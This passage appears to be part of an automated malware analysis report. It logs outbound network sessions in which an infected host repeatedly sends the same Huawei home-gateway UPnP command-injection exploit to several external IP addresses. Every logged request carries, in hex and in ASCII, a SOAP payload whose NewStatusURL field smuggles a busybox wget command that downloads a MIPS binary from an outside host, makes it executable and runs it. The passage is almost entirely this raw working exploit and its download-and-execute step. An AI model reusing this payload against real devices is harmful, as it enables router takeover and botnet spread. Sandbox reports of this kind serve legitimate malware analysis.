6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:31.844275951 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:46.946053982 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:18.941566944 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	47986	94.122.216.102	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:23.094707012 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	57256	156.254.89.236	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:23.676681995 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:25.221098900 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:27.044867992 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:30.820302010 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:38.243292093 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 